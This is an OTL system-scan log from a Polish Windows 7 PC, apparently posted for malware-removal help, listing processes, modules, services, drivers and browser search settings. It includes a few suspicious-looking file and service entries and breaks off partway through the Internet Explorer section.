OTL logfile created on: 2015-06-28 16:15:43 - Run 1 OTL by OldTimer - Version 3.2.69.0 Folder = C:\Users\User\Downloads 64bit- Ultimate Edition Service Pack 1 (Version = 6.1.7601) - Type = NTWorkstation Internet Explorer (Version = 8.0.7601.17514) Locale: 00000415 | Country: Polska | Language: PLK | Date Format: yyyy-MM-dd 3,96 Gb Total Physical Memory | 1,56 Gb Available Physical Memory | 39,36% Memory free 11,26 Gb Paging File | 8,32 Gb Available in Paging File | 73,90% Paging File free Paging file location(s): c:\pagefile.sys 6082 6082d:\pagef [Binary data over 200 bytes] %SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files (x86) Drive C: | 74,43 Gb Total Space | 4,70 Gb Free Space | 6,32% Space Free | Partition Type: NTFS Drive E: | 37,25 Gb Total Space | 6,20 Gb Free Space | 16,63% Space Free | Partition Type: NTFS Drive Y: | 100,00 Mb Total Space | 65,34 Mb Free Space | 65,35% Space Free | Partition Type: NTFS Computer Name: USER-KOMPUTER | User Name: User | Logged in as Administrator. Boot Mode: Normal | Scan Mode: Current user | Include 64bit Scans Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days [color=#E56717]========== Processes (SafeList) ==========[/color] PRC - [2015-06-28 16:15:19 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\User\Downloads\OTL.exe PRC - [2015-06-23 15:44:37 | 000,194,000 | ---- | M] (Kaspersky Lab ZAO) -- C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\avp.exe PRC - [2015-06-23 15:44:37 | 000,192,768 | ---- | M] (Kaspersky Lab ZAO) -- C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\avpui.exe PRC - [2015-06-20 07:46:07 | 000,813,896 | ---- | M] (Google Inc.) -- C:\Program Files (x86)\Google\Chrome\Application\chrome.exe PRC - [2015-04-01 18:18:48 | 004,078,144 | ---- | M] (GG Network S.A.) -- C:\Users\User\AppData\Local\GG\Application\gghub.exe PRC - [2015-02-27 16:20:28 | 000,118,336 | ---- | M] (GG Network S.A.) -- C:\Users\User\AppData\Local\GG\Application\ggapp.exe PRC - [2015-02-27 16:20:27 | 000,301,120 | ---- | M] (GG Network S.A.) -- C:\Users\User\AppData\Local\GG\Application\xulrunner\gghub.exe PRC - [2013-11-22 14:44:28 | 000,246,112 | ---- | M] () -- C:\ProgramData\PLAY ONLINE\OnlineUpdate\ouc.exe PRC - [2012-07-25 03:51:06 | 000,655,712 | ---- | M] () -- C:\ProgramData\Mobile Partner\OnlineUpdate\ouc.exe PRC - [2012-07-17 15:57:22 | 000,365,376 | ---- | M] (Intel Corporation) -- C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\UNS\UNS.exe PRC - [2012-07-17 15:57:20 | 000,277,824 | ---- | M] (Intel Corporation) -- C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe PRC - [2012-06-25 11:57:14 | 000,166,720 | ---- | M] (Intel Corporation) -- C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\Jhi_service.exe PRC - [2011-03-14 17:27:28 | 000,236,384 | ---- | M] (Huawei Technologies Co., Ltd.) -- C:\ProgramData\DatacardService\DCSHelper.exe PRC - [2009-12-23 23:34:20 | 000,370,688 | ---- | M] (StarWind Software) -- C:\Program Files (x86)\Alcohol Soft\Alcohol 120\StarWind\StarWindServiceAE.exe PRC - [2009-11-04 09:48:34 | 000,380,928 | ---- | M] (AMD) -- C:\Program Files (x86)\ATI Technologies\HydraVision\HydraDM.exe PRC - [2007-03-06 10:35:02 | 000,198,168 | ---- | M] (InterVideo Inc.) -- C:\Program Files (x86)\Common Files\InterVideo\DeviceService\DevSvc.exe [color=#E56717]========== Modules (No Company Name) ==========[/color] MOD - [2015-06-28 04:03:14 | 000,133,120 | ---- | M] () -- C:\Users\User\AppData\Roaming\zbczctrs\colers.dll MOD - [2015-06-20 07:46:06 | 015,003,976 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\43.0.2357.130\PepperFlash\pepflashplayer.dll MOD - [2015-06-20 07:46:04 | 001,281,864 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\43.0.2357.130\libglesv2.dll MOD - [2015-06-20 07:46:04 | 000,080,712 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\43.0.2357.130\libegl.dll MOD - [2015-02-27 16:20:27 | 003,715,648 | ---- | M] () -- C:\Users\User\AppData\Local\GG\Application\xulrunner\mozjs.dll MOD - [2015-02-20 12:13:39 | 016,361,120 | ---- | M] () -- C:\Users\User\AppData\Local\GG\Application\FMSBWChecker\Adobe AIR\Versions\1.0\Resources\NPSWF32.dll MOD - [2009-11-04 09:48:08 | 000,090,112 | ---- | M] () -- C:\Program Files (x86)\ATI Technologies\HydraVision\hydraplk.dll [color=#E56717]========== Services (SafeList) ==========[/color] SRV:[b]64bit:[/b] - [2014-07-09 18:24:00 | 000,239,616 | ---- | M] (AMD) [Auto | Running] -- C:\Windows\SysNative\atiesrxx.exe -- (AMD External Events Utility) SRV:[b]64bit:[/b] - [2014-04-09 15:13:48 | 000,289,256 | ---- | M] (McAfee, Inc.) [On_Demand | Stopped] -- C:\Program Files\McAfee Security Scan\3.8.150\McCHSvc.exe -- (McComponentHostService) SRV:[b]64bit:[/b] - [2012-04-20 15:16:12 | 000,635,104 | ---- | M] (Intel(R) Corporation) [Auto | Running] -- C:\Program Files\Intel\iCLS Client\HeciServer.exe -- (Intel(R) SRV:[b]64bit:[/b] - [2010-11-30 14:27:58 | 000,336,824 | ---- | M] (arvato digital services llc) [Auto | Running] -- c:\Program Files\Common Files\Protexis\License Service\PsiService_2.exe -- (PSI_SVC_2_x64) SRV:[b]64bit:[/b] - [2009-07-14 03:41:27 | 001,011,712 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Windows Defender\MpSvc.dll -- (WinDefend) SRV:[b]64bit:[/b] - [2009-07-14 03:40:01 | 000,193,536 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\appmgmts.dll -- (AppMgmt) SRV:[b]64bit:[/b] - [2009-07-14 03:39:31 | 000,045,568 | ---- | M] (Microsoft Corporation) [Auto | Stopped] -- C:\Windows\SysNative\rundll32.exe -- (863788fa) SRV - [2015-06-25 19:17:06 | 000,268,464 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc) SRV - [2015-06-23 15:44:37 | 000,194,000 | ---- | M] (Kaspersky Lab ZAO) [Auto | Running] -- C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\avp.exe -- (AVP15.0.2) SRV - [2015-05-08 21:47:48 | 000,148,080 | ---- | M] (Mozilla Foundation) [On_Demand | Stopped] -- C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe -- (MozillaMaintenance) SRV - [2015-05-07 16:41:48 | 000,806,616 | ---- | M] (BlueStack Systems, Inc.) [On_Demand | Stopped] -- C:\Program Files (x86)\BlueStacks\HD-UpdaterService.exe -- (BstHdUpdaterSvc) SRV - [2015-05-07 16:39:36 | 000,413,400 | ---- | M] (BlueStack Systems, Inc.) [On_Demand | Stopped] -- C:\Program Files (x86)\BlueStacks\HD-LogRotatorService.exe -- (BstHdLogRotatorSvc) SRV - [2015-05-07 16:39:08 | 000,433,880 | ---- | M] (BlueStack Systems, Inc.) [On_Demand | Stopped] -- C:\Program Files (x86)\BlueStacks\HD-Service.exe -- (BstHdAndroidSvc) SRV - [2015-04-14 09:36:30 | 001,080,120 | ---- | M] (Malwarebytes Corporation) [Auto | Stopped] -- C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe -- (MBAMService) SRV - [2015-04-14 09:36:28 | 001,871,160 | ---- | M] (Malwarebytes Corporation) [Auto | Stopped] -- C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe -- (MBAMScheduler) SRV - [2013-11-22 14:44:28 | 000,246,112 | ---- | M] () [Auto | Stopped] -- C:\Program Files (x86)\PLAY ONLINE\UpdateDog\ouc.exe -- (PLAY ONLINE. RunOuc) SRV - [2013-02-10 15:55:30 | 000,012,288 | ---- | M] (Chris Pietschmann (http://pietschsoft.com)) [Auto | Running] -- C:\Program Files (x86)\Virtual Router\VirtualRouterService.exe -- (Virtual Router) SRV - [2012-11-19 17:03:24 | 000,489,256 | ---- | M] (Valve Corporation) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Steam\SteamService.exe -- (Steam Client Service) SRV - [2012-07-25 03:51:06 | 000,655,712 | ---- | M] () [Auto | Stopped] -- C:\Program Files (x86)\Mobile Partner\UpdateDog\ouc.exe -- (Mobile Partner. RunOuc) SRV - [2012-07-17 15:57:22 | 000,365,376 | ---- | M] (Intel Corporation) [Auto | Running] -- C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\UNS\UNS.exe -- (UNS) SRV - [2012-07-17 15:57:20 | 000,277,824 | ---- | M] (Intel Corporation) [Auto | Running] -- C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe -- (LMS) SRV - [2012-07-09 00:40:10 | 000,104,912 | ---- | M] (Microsoft Corporation) [Auto | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -- (clr_optimization_v4.0.30319_32) SRV - [2012-06-25 11:57:14 | 000,166,720 | ---- | M] (Intel Corporation) [Auto | Running] -- C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\Jhi_service.exe -- (jhi_service) SRV - [2012-01-05 17:42:34 | 000,075,624 | ---- | M] (Alcohol Soft Development Team) [Auto | Stopped] -- C:\Program Files (x86)\Alcohol Soft\Alcohol 120\AxAutoMntSrv.exe -- (AxAutoMntSrv) SRV - [2011-08-30 16:55:54 | 000,160,256 | ---- | M] (Intel Corporation) [On_Demand | Stopped] -- C:\Program Files (x86)\Intel\Intel(R) Integrated Clock Controller Service\ICCProxy.exe -- (ICCS) SRV - [2011-03-14 17:27:34 | 000,346,976 | ---- | M] () [Auto | Running] -- C:\ProgramData\DatacardService\HWDeviceService64.exe -- (HWDeviceService64.exe) SRV - [2010-02-19 14:37:14 | 000,517,096 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe -- (SwitchBoard) SRV - [2009-12-23 23:34:20 | 000,370,688 | ---- | M] (StarWind Software) [Auto | Running] -- C:\Program Files (x86)\Alcohol Soft\Alcohol 120\StarWind\StarWindServiceAE.exe -- (StarWindServiceAE) SRV - [2009-06-10 23:23:09 | 000,066,384 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe -- (clr_optimization_v2.0.50727_32) SRV - [2008-09-26 20:03:48 | 000,265,216 | ---- | M] (Atheros Communications, Inc.) [Auto | Running] -- C:\Program Files (x86)\Jumpstart\jswpbapi.exe -- (jswpbapi) SRV - [2008-09-26 20:02:28 | 000,954,368 | ---- | M] (Atheros Communications, Inc.) [On_Demand | Stopped] -- C:\Program Files (x86)\Jumpstart\jswpsapi.exe -- (jswpsapi) SRV - [2008-09-08 07:59:00 | 000,575,488 | ---- | M] (Nokia.) [On_Demand | Stopped] -- C:\Program Files (x86)\PC Connectivity Solution\ServiceLayer.exe -- (ServiceLayer) SRV - [2007-03-06 10:35:02 | 000,198,168 | ---- | M] (InterVideo Inc.) [Auto | Running] -- C:\Program Files (x86)\Common Files\InterVideo\DeviceService\DevSvc.exe -- (Capture Device Service) SRV - [2007-02-12 11:03:08 | 000,364,629 | ---- | M] (Atheros) [Auto | Stopped] -- C:\Windows\SysWOW64\acs.exe -- (ACS) [color=#E56717]========== Driver Services (SafeList) ==========[/color] DRV:[b]64bit:[/b] - [2015-06-23 15:45:55 | 000,190,648 | ---- | M] (Kaspersky Lab ZAO) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\kneps.sys -- (kneps) DRV:[b]64bit:[/b] - [2015-06-23 15:45:54 | 000,085,360 | ---- | M] (Kaspersky Lab ZAO) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\klwtp.sys -- (Klwtp) DRV:[b]64bit:[/b] - [2015-06-23 15:45:54 | 000,065,208 | ---- | M] (Kaspersky Lab ZAO) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\kltdi.sys -- (kltdi) DRV:[b]64bit:[/b] - [2015-06-23 15:45:54 | 000,039,280 | ---- | M] (Kaspersky Lab ZAO) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\klim6.sys -- (KLIM6) DRV:[b]64bit:[/b] - [2015-06-23 15:45:54 | 000,024,944 | ---- | M] (Kaspersky Lab ZAO) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\klpd.sys -- (klpd) DRV:[b]64bit:[/b] - [2015-06-23 15:45:53 | 000,064,368 | ---- | M] (Kaspersky Lab ZAO) [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\kldisk.sys -- (kldisk) DRV:[b]64bit:[/b] - [2015-06-23 15:45:52 | 000,478,392 | ---- | M] (Kaspersky Lab ZAO) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\kl1.sys -- (kl1) DRV:[b]64bit:[/b] - [2015-06-23 15:45:39 | 000,039,280 | ---- | M] (Kaspersky Lab ZAO) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\klmouflt.sys -- (klmouflt) DRV:[b]64bit:[/b] - [2015-06-23 15:45:38 | 000,040,304 | ---- | M] (Kaspersky Lab ZAO) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\klkbdflt.sys -- (klkbdflt) DRV:[b]64bit:[/b] - [2015-06-23 15:45:36 | 000,850,608 | ---- | M] (Kaspersky Lab ZAO) [File_System | System | Running] -- C:\Windows\SysNative\drivers\klif.sys -- (KLIF) DRV:[b]64bit:[/b] - [2015-06-23 15:45:35 | 000,159,960 | ---- | M] (Kaspersky Lab ZAO) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\klflt.sys -- (klflt) DRV:[b]64bit:[/b] - [2015-06-23 15:45:34 | 000,225,968 | ---- | M] (Kaspersky Lab ZAO) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\klhk.sys -- (klhk) DRV:[b]64bit:[/b] - [2015-06-23 15:45:29 | 000,247,016 | ---- | M] (Kaspersky Lab UK Ltd) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\cm_km_w.sys -- (cm_km_w) DRV:[b]64bit:[/b] - [2015-04-14 09:37:56 | 000,063,704 | ---- | M] (Malwarebytes Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\mwac.sys -- (MBAMWebAccessControl) DRV:[b]64bit:[/b] - [2015-04-14 09:37:42 | 000,025,816 | ---- | M] (Malwarebytes Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\mbam.sys -- (MBAMProtector) DRV:[b]64bit:[/b] - [2015-03-13 14:04:34 | 000,031,392 | ---- | M] (Tarlogic) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TRLNDISMON.sys -- (TRLNDISMON) DRV:[b]64bit:[/b] - [2014-07-09 18:45:04 | 015,950,848 | ---- | M] (Advanced Micro Devices, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\atikmdag.sys -- (atikmdag) DRV:[b]64bit:[/b] - [2014-07-09 18:45:04 | 015,950,848 | ---- | M] (Advanced Micro Devices, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\atikmdag.sys -- (amdkmdag) DRV:[b]64bit:[/b] - [2014-07-09 18:19:50 | 000,557,056 | ---- | M] (Advanced Micro Devices, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\atikmpag.sys -- (amdkmdap) DRV:[b]64bit:[/b] - [2014-06-03 10:39:02 | 000,020,992 | ---- | M] (Windows (R) Win 7 DDK provider) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\uvhid.sys -- (uvhid) DRV:[b]64bit:[/b] - [2014-05-21 07:30:54 | 000,386,680 | ---- | M] (Duplex Secure Ltd.) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\sptd.sys -- (sptd) DRV:[b]64bit:[/b] - [2013-07-24 17:02:55 | 000,034,816 | ---- | M] (Elaborate Bytes AG) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\VClone.sys -- (VClone) DRV:[b]64bit:[/b] - [2013-03-07 09:49:18 | 000,017,480 | ---- | M] () [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\epmntdrv.sys -- (epmntdrv) DRV:[b]64bit:[/b] - [2013-03-07 09:49:18 | 000,009,800 | ---- | M] () [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\EuGdiDrv.sys -- (EuGdiDrv) DRV:[b]64bit:[/b] - [2013-03-04 23:13:47 | 000,314,016 | ---- | M] () [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\atksgt.sys -- (atksgt) DRV:[b]64bit:[/b] - [2013-03-04 23:13:46 | 000,043,680 | ---- | M] () [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\lirsgt.sys -- (lirsgt) DRV:[b]64bit:[/b] - [2013-02-14 13:41:10 | 000,096,768 | ---- | M] (Advanced Micro Devices) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\AtihdW76.sys -- (AtiHDAudioService) DRV:[b]64bit:[/b] - [2013-02-12 06:12:06 | 000,019,968 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\usb8023x.sys -- (usb_rndisx) DRV:[b]64bit:[/b] - [2012-12-24 16:45:48 | 000,027,256 | ---- | M] (IVT Corporation.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\IvtBtBus.sys -- (IvtAudioBusSrv) DRV:[b]64bit:[/b] - [2012-12-24 16:42:26 | 000,031,480 | ---- | M] (IVT Corporation.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\btnetBus.sys -- (IvtPanBusSrv) DRV:[b]64bit:[/b] - [2012-08-21 13:01:20 | 000,033,240 | ---- | M] (GEAR Software Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\GEARAspiWDM.sys -- (GEARAspiWDM) DRV:[b]64bit:[/b] - [2012-07-03 11:58:00 | 000,031,744 | ---- | M] (Google Inc) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\lgandnetadb.sys -- (andnetadb) DRV:[b]64bit:[/b] - [2012-07-03 11:50:00 | 000,036,352 | ---- | M] (LG Electronics Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\lgandnetmodem64.sys -- (ANDNetModem) DRV:[b]64bit:[/b] - [2012-07-03 11:50:00 | 000,029,184 | ---- | M] (LG Electronics Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\lgandnetdiag64.sys -- (AndNetDiag) DRV:[b]64bit:[/b] - [2012-07-02 16:16:02 | 000,062,784 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\HECIx64.sys -- (MEIx64) DRV:[b]64bit:[/b] - [2012-05-20 18:25:32 | 000,789,824 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\iusb3xhc.sys -- (iusb3xhc) DRV:[b]64bit:[/b] - [2012-05-20 18:25:32 | 000,357,184 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\iusb3hub.sys -- (iusb3hub) DRV:[b]64bit:[/b] - [2012-05-20 18:25:32 | 000,019,264 | ---- | M] (Intel Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\iusb3hcs.sys -- (iusb3hcs) DRV:[b]64bit:[/b] - [2012-04-23 03:58:46 | 000,238,080 | ---- | M] (Huawei Technologies Co., Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ew_juwwanecm.sys -- (huawei_wwanecm) DRV:[b]64bit:[/b] - [2012-04-23 03:57:08 | 000,104,448 | ---- | M] (Huawei Technologies Co., Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ew_jucdcacm.sys -- (huawei_cdcacm) DRV:[b]64bit:[/b] - [2012-04-23 03:57:08 | 000,090,112 | ---- | M] (Huawei Technologies Co., Ltd.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\ew_jubusenum.sys -- (huawei_enumerator) DRV:[b]64bit:[/b] - [2012-04-23 03:57:08 | 000,030,720 | ---- | M] (Huawei Technologies Co., Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ew_juextctrl.sys -- (huawei_ext_ctrl) DRV:[b]64bit:[/b] - [2012-03-01 08:46:16 | 000,023,408 | ---- | M] (Microsoft Corporation) [Recognizer | Boot | Unknown] -- C:\Windows\SysNative\drivers\fs_rec.sys -- (Fs_Rec) DRV:[b]64bit:[/b] - [2011-12-26 15:27:24 | 000,015,288 | ---- | M] () [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\ampa.sys -- (ampa) DRV:[b]64bit:[/b] - [2011-12-21 14:47:08 | 000,025,056 | ---- | M] (IVT Corporation.) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\BtHidBus.sys -- (BtHidBus) DRV:[b]64bit:[/b] - [2011-11-02 11:48:26 | 000,021,616 | ---- | M] () [Kernel | System | Running] -- C:\Windows\SysNative\drivers\AppleCharger.sys -- (AppleCharger) DRV:[b]64bit:[/b] - [2011-09-29 11:30:34 | 000,646,248 | ---- | M] (Realtek ) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\Rt64win7.sys -- (RTL8167) DRV:[b]64bit:[/b] - [2011-09-05 11:56:38 | 002,156,872 | ---- | M] (TamoSoft) [CommView] Atheros AR5008 Wireless Network Adapter Service 7.7 [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\ts_athwx.sys -- (TS_AR5416) DRV:[b]64bit:[/b] - [2011-03-11 08:41:12 | 000,107,904 | ---- | M] (Advanced Micro Devices) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsata.sys -- (amdsata) DRV:[b]64bit:[/b] - [2011-03-11 08:41:12 | 000,027,008 | ---- | M] (Advanced Micro Devices) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\amdxata.sys -- (amdxata) DRV:[b]64bit:[/b] - [2010-11-20 13:03:42 | 000,020,992 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\rdpvideominiport.sys -- (RdpVideoMiniport) DRV:[b]64bit:[/b] - [2010-11-20 06:33:36 | 000,078,720 | ---- | M] (Hewlett-Packard Company) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\HpSAMD.sys -- (HpSAMD) DRV:[b]64bit:[/b] - [2010-11-20 04:07:06 | 000,059,392 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TsUsbFlt.sys -- (TsUsbFlt) DRV:[b]64bit:[/b] - [2010-11-20 03:43:58 | 000,032,768 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\USBSER.sys -- (usbser) DRV:[b]64bit:[/b] - [2010-07-27 03:52:16 | 000,117,248 | ---- | M] (Huawei Technologies Co., Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ew_hwusbdev.sys -- (ew_hwusbdev) DRV:[b]64bit:[/b] - [2010-03-20 06:06:58 | 000,013,952 | ---- | M] (Huawei Technologies Co., Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ew_usbenumfilter.sys -- (ew_usbenumfilter) DRV:[b]64bit:[/b] - [2009-09-21 01:43:52 | 000,127,488 | ---- | M] (MCCI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ss_bus.sys -- (ss_bus) DRV:[b]64bit:[/b] - [2009-07-14 03:52:20 | 000,194,128 | ---- | M] (AMD Technologies Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsbs.sys -- (amdsbs) DRV:[b]64bit:[/b] - [2009-07-14 03:48:04 | 000,065,600 | ---- | M] (LSI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\lsi_sas2.sys -- (LSI_SAS2) DRV:[b]64bit:[/b] - [2009-07-14 03:45:55 | 000,024,656 | ---- | M] (Promise Technology) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\stexstor.sys -- (stexstor) DRV:[b]64bit:[/b] - [2009-06-20 04:09:57 | 001,394,688 | ---- | M] (Atheros Communications, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\athrx.sys -- (athr) DRV:[b]64bit:[/b] - [2009-06-10 22:34:33 | 003,286,016 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\evbda.sys -- (ebdrv) DRV:[b]64bit:[/b] - [2009-06-10 22:34:28 | 000,468,480 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\bxvbda.sys -- (b06bdrv) DRV:[b]64bit:[/b] - [2009-06-10 22:34:23 | 000,270,848 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\b57nd60a.sys -- (b57nd60a) DRV:[b]64bit:[/b] - [2009-06-10 22:31:59 | 000,031,232 | ---- | M] (Hauppauge Computer Works, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\hcw85cir.sys -- (hcw85cir) DRV:[b]64bit:[/b] - [2008-08-28 12:44:42 | 000,025,600 | ---- | M] (Nokia) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\pccsmcfdx64.sys -- (pccsmcfd) DRV:[b]64bit:[/b] - [2008-05-15 04:28:52 | 000,026,624 | ---- | M] (Atheros Communications, Inc.) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\jswpslwfx.sys -- (JSWPSLWF) DRV - [2015-05-07 16:39:26 | 000,145,112 | ---- | M] (BlueStack Systems) [Kernel | Auto | Running] -- C:\Program Files (x86)\BlueStacks\HD-Hypervisor-amd64.sys -- (BstHdDrv) DRV - [2013-06-19 15:10:38 | 000,030,528 | ---- | M] () [Kernel | On_Demand | Stopped] -- C:\Windows\GVTDrv64.sys -- (GVTDrv64) DRV - [2013-06-19 15:10:22 | 000,025,640 | ---- | M] (Windows (R) Server 2003 DDK provider) [Kernel | On_Demand | Stopped] -- C:\Windows\gdrv.sys -- (gdrv) DRV - [2013-03-07 09:49:20 | 000,013,896 | ---- | M] () [Kernel | On_Demand | Stopped] -- C:\Windows\SysWOW64\epmntdrv.sys -- (epmntdrv) DRV - [2013-03-07 09:49:20 | 000,009,160 | ---- | M] () [Kernel | On_Demand | Stopped] -- C:\Windows\SysWOW64\EuGdiDrv.sys -- (EuGdiDrv) DRV - [2013-02-28 19:03:55 | 000,025,640 | ---- | M] (Windows (R) Server 2003 DDK provider) [Kernel | On_Demand | Stopped] -- C:\Windows\etdrv.sys -- (etdrv) DRV - [2011-12-26 15:27:22 | 000,012,728 | ---- | M] () [Kernel | On_Demand | Stopped] -- C:\Windows\SysWOW64\ampa.sys -- (ampa) DRV - [2009-07-14 03:19:10 | 000,019,008 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\SysWOW64\drivers\wimmount.sys -- (WIMMount) DRV - [2007-08-30 15:40:06 | 000,008,192 | ---- | M] (AirMagnet, Inc) [Kernel | On_Demand | Stopped] -- C:\Windows\SysWOW64\AmDriver.sys -- (AmDriver) DRV - [2004-03-24 04:12:34 | 000,017,280 | ---- | M] (Printing Communications Assoc., Inc. (PCAUSA)) [Kernel | On_Demand | Stopped] -- C:\Windows\SysWOW64\nsndis5.sys -- (NSNDIS5) DRV - [2002-09-16 17:14:32 | 000,004,228 | ---- | M] (PowerQuest Corporation) [Kernel | System | Stopped] -- C:\Windows\SysWow64\drivers\PQNTDRV.sys -- (PQNTDrv) [color=#E56717]========== Standard Registry (SafeList) ==========[/color] [color=#E56717]========== Internet Explorer ==========[/color] IE:[b]64bit:[/b] - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A} IE:[b]64bit:[/b] - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Search bar = http://search.msn.com/spbasic.htm IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Secondary Start Pages = IE - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A} IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com IE - HKCU\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A} IE - HKCU\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = 